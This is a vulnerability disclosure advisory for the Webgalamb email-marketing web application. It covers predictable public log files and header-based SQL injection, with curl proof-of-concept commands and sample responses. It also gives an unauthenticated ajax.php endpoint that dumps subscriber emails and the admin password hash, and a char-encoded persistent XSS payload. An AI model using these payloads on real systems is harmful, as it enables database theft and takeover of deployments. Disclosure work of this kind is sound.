Summary ------- Vendor: E.N.S. Zrt (www.ens.hu) Product: Webgalamb (www.webgalamb.hu, www.facebook.com/webgalamb) Webgalamb is a commercial email marketing software for managing subscription lists and sending out bulk emails. It is not SaaS but a PHP based web application that is typically hosted next to the company website of Webgalamb customers. Webgalamb is prone to be vulnerable to multiple security flaws that could be exploited by threat actors to take over the complete control of Webgalamb deployments, company websites and also to exfiltrate the email subscription databases. The findings had been verified with latest Webgalamb versions (v6 and v7), older versions are probably also affected. The vendor confirmed the vulnerabilities but the remediation plan was not shared. CVE-2018-19513 Information disclosure ------------------------------------- The log files created by the application are exposed to the internet. The file names are predictable. For example: http://www.victim.tld/webgalamb/files/logs/sql_error_log/2018-10-25-sql_error_log.log The logfile could contain sensitive client data (email addresses) and also facilitates exploitation of SQL injection errors. CVE-2018-19510: SQL injection in insert via Client-IP HTTP header ----------------------------------------------------------------- curl -d "mail=test2@test.tt&save=1" --header "Client-Ip: 'foo" -v "http://www.victim.tld/webgalamb/subscriber.php?g=1&f=b187b56a83" In the SQL log: 2018-10-25 18:06:38 - Url: http://www.victim.tld/webgalamb/subscriber.php?g=1&f=b187b56a83 Bad SQL:[insert into `wg7_users` ( mail, omail, mail_id, ip, ip_orig, datum, verify_code, active, g, a, ipdatum ) values ( 'test2@test.tt', 'test2@test.tt', '3', ''foo', ''foo', CURDATE(), 'k7k64a8kk71811fcb841k71k1f5ffda16ec96eff', '1', '1', '1', now() )]/You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'foo', ''foo', CURDATE(), 'k7k64a8kk71811fcb841k71k1f5ffda16ec96eff', '1', '1', '' at line 2 : (c:\htdocs\webgalamb\subscriber.php:2241) Example of a meaningful SQL injection: curl -d "mail=test4@test.tt&save=1" --header "Client-Ip: ', 5,CURDATE(), 7, 1,9,10, now()), ((SELECT GROUP_CONCAT(conf_value) FROM wg7_config),2,3,4,5,CURDATE(),7,8,65535,1,NOW()) -- foo" -v "http://www.victim.tld/webgalamb/subscriber.php?g=1&f=b187b56a83" An UPDATE wg7_users SQL expression is also vulnerable to the same pattern; it is possible to modify any user subscriptions. CVE-2018-19515: Authentication bypass ------------------------------------- The system/ajax.php script offers various functionality, which is supposed to be available for the administrator of the system only. However, by using one of the bgsend, atment_sddd1xGz or the xls_bgimport query parameters, most of these methods become available. For exploitation, see the next examples. Dumping the database (email addresses of subscribed users), without authentication: curl -d "uidselect=&g=1" http://www.victim.tld/webgalamb/system/ajax.php?atment_sddd1xGz=1 Response: test@test.tt Combining the vulnerabilities above it is possible to exfiltrate any data from the system: curl -d "uidselect=&g=65535" http://www.victim.tld/webgalamb/system/ajax.php?atment_sddd1xGz=1 Response: *4AD47E08DAE2BD4F0977EED5D23DC901359DF617,webgalamb/,0,,7.0.0,0,50,foo@foo.fo,foo@foo.fo,2018-10-23,,,,200,300,2018.10.23. 18:15:49,www.victim.tld,10000,0,0,80,30,0,2018-10-23,0,,g_admin,15000,500,5,127.0.0.1,,,,,,,,,,,,0, Note, the response above in this case contains the result of the previously executed config group concat action of wg7_config table, which also includes the password of the administrator (stored via MySQL's PASSWORD() function). CVE-2018-19509: Persistent XSS, targeting the administrator ----------------------------------------------------------- The Webgalamb application seems to make some opportunistic calls to htmlspecialchars() instead of using any templating engines with proper contextual encoding. Since it is possible to insert arbitrary strings to the database, any JavaScripts could be executed by the administrator. curl -d "mail=test5@test.tt&save=1" --header "Client-Ip: ', 5,CURDATE(), 7, 1,9,10, now()), (char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41,60,47,115,99,114,105,112,116,62),2,3,4,5,CURDATE(),7,8,1,1,NOW()) -- foo" -v "http://www.victim.tld/webgalamb/subscriber.php?g=1&f=b187b56a83" view-source:http://www.victim.tld/webgalamb/wg7.php?subscriber_ID=20&g=1&new_subscriber=1&link=g%3D1%26subscribers%3D1 ...